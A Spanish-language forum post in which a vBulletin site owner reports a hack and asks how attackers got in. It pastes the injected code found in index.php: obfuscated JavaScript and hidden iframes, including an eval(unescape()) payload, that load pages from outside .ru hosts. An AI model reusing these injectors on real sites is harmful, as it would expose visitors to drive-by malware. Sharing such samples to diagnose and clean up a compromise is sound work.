- Desde
- 2 Ago 2009
- Mensajes
- 22
Estimados compañeros,
Me han hackeado la web !!!
Han introducido un codigo al final del index.php
y
Tambien me han modificado:
No se si habrán modificado algún otro archivo
Tengo instalado el 3.84. con el DownloadsII
¿Pueden haber subido un archivo al foro a traves del panel de agestionar archivos adjuntos? ¿o a traves de subir un avatar? ¿a traves del downloadsii? o de donde ??
Como puede comprobar la seguridad de la pagina!?
Gracia a todos
Me han hackeado la web !!!
Han introducido un codigo al final del index.php
Insertar CODE, HTML o PHP:
<script language="JavaScript" type="text/javascript">
function getfromDOM(containerid)
{var container = document.getElementById(containerid), element1, element2 = container.firstChild, content ="";
do{element1 = element2; content += element1.firstChild.nodeValue; element2 = element1.nextSibling;}
while(element1!==container.lastChild)
return content;
}
var ff_b = document.createElement("strong");
ff_b.id = "YuPi55";
ff_b.innerHTML="<b>http://000007.ru/in.cgi?7</b>";
ff_b.style.visibility = "hidden";
document.getElementsByTagName("body")[0].appendChild(ff_b);
var ff_iframe = document.createElement("iframe");
ff_iframe.id = "JeT";
ff_iframe.name = "JeT";
ff_iframe.style.visibility = "hidden";
ff_iframe.src=getfromDOM("YuPi55");
document.getElementsByTagName("body")[0].appendChild(ff_iframe);
</script>y
Insertar CODE, HTML o PHP:
<iframe src="[URL]http://3cy.ru:8080/index.php[/URL]" width=187 height=139 style="visibility: hidden"></iframe<html><body><div id="CFI" style="display:none">%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%22%3c%69%66%72%61%6d%65%20%73%72%63%3d%27%68%74%74%70%3a%2f%2f%30%30%30%30%30%37%2e%72%75%2f%69%6e%2e%63%67%69%3f%37%27%20%73%74%79%6c%65%3d%27%64%69%73%70%6c%61%79%3a%6e%6f%6e%65%3b%27%3e%3c%2f%69%66%72%61%6d%65%3e%22%29%3b</div><script>var nJQ=eval, CFI=document.getElementById("CFI").innerHTML,GaB=unescape;nJQ(GaB(CFI));</script></body></html>>Tambien me han modificado:
Insertar CODE, HTML o PHP:
[URL="http://www.vbhispano.com/filemanager/filemanager.php?cmd=show&file=login.php&previous_page=filemanager"]login.php[/URL]
[URL="http://www.vbhispano.com/filemanager/filemanager.php?cmd=show&file=payment_gateway.php&previous_page=filemanager"]payment_gateway.php[/URL]
[URL="http://www.vbhispano.com/filemanager/filemanager.php?cmd=show&file=payments.php&previous_page=filemanager"]payments.php[/URL]
[URL="http://www.vbhispano.com/filemanager/filemanager.php?cmd=show&file=usercp.php&previous_page=filemanager"]usercp.php[/URL]
[URL="http://www.vbhispano.com/filemanager/filemanager.php?cmd=show&file=usernote.php&previous_page=filemanager"]usernote.php[/URL]No se si habrán modificado algún otro archivo
Tengo instalado el 3.84. con el DownloadsII
¿Pueden haber subido un archivo al foro a traves del panel de agestionar archivos adjuntos? ¿o a traves de subir un avatar? ¿a traves del downloadsii? o de donde ??
Como puede comprobar la seguridad de la pagina!?
Gracia a todos
